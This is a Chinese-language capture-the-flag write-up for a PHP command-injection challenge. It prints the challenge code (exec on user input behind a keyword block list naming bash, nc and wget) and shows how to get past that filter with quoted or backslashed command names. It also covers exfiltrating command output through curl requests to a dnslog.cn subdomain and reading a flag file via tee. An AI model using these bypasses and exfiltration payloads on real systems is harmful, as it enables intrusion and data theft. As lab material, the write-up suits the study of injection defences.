注:本文参考了 NSSCTF Leaderchen 师傅的题解,并修补了其中些许不足。
此外,参考了 命令执行(RCE)面对各种过滤,骚姿势绕过总结
题目代码:
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
过滤了一堆字符。
这道题的 exec 函数理应返回执行结果的最后一行,但是却什么也不返回,所以需要一些其他的方法来看到命令执行的结果。
首先我们知道关键字被过滤时可以使用以下绕过方式:
如 ls 被过滤,可以替换为
l''s
l\s
等等。
但是由于 $
,*
等字符被过滤了,这里能用的恐怕只有前两种。
了解了这些之后来构造几种 payload 。
DNS 的网站这里写一下:
http://www.dnslog.cn
http://ceye.io
临时使用的话推荐去第一个网站。
curl `l''s`.xf3njn.dnslog.cn
用反引号执行 ls 命令,执行的结果拼接到 xf3njn.dnslog.cn
域名上,然后访问,访问的日志可以在网站上看,就可以看到命令执行的结果。
ls
执行的结果是 index.php
。
这样的话我们直接查找根目录下包含 “f” 的文件:
curl `l\s /|grep 'f'`.xf3njn.dnslog.cn
返回结果:
找到了。
查看 flag 文件:
这里因为 “la” 也被过滤了,所以多加了一个斜杠。
curl `ca\t /flllll\aaaaaaggggggg`.xf3njn.dnslog.cn
返回结果中的大括号被去掉了,自己加上,另外把开头小写的 nssctf 改成大写就行了。
执行 ls 文件并将结果保存到当前目录的 1.txt 文件中:
l\s|tee 1.txt
执行这条命令后去访问:http://node4.anna.nssctf.cn:28616/1.txt
就可以看到结果了:
这里因为我之前执行过一次,所以多了一个 1.txt 文件。
同理可以查看 flag :
ca\t /flllll\aaaaaaggggggg|tee 2.txt
拿到 flag :
此外,还有 tac,head,tail 等命令也可以代替 cat 查看文件内容。